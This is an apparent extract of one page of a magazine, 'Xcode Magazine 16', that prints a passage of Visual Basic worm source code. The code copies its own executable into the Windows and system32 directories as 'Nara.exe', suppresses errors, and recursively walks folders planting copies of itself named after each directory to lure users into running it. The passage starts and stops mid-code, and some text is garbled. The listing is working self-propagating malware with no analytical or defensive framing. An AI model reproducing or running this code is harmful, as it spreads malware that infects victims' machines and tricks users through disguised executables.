Xcode Magazine 16

Page 88

End Sub Priv ate Sub Kopykewindow() Dim ff As String * 255 Dim n As Long n = GetWindowsDirectory(ff, 255) On Error Resume Next FileCopy App.Path & "\" & App.EXEName & ".exe", Left(ff, n) & "Nara.exe" FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\" & "Nara.exe" FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\system32" & "Nara.exe" End Sub Public Sub GetFiles(path As String, subFolder As Boolean, Optional Pattern As String = "*.*") Screen.MousePointer = vbHourglass Dim WFD As WIN32_FIND_DATA Dim hFile As Long, fPath As String, fName As String fPath = AddBackSlash(path) Dim sPattern As String sPattern = Pattern fName = fPath & sPattern hFile = FindFirstFile(fName, WFD) If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then CopyFile "C:\Windows\Nara.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1 End If If hFile > 0 Then While FindNextFile(hFile, WFD) If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) Then CopyFile "C:\Windows\Nara.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1 End If Wend End If If subFolder Then hFile = FindFirstFile(fPath & "*.*", WFD) If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern End If While FindNextFile(hFile, WFD) If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern


Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.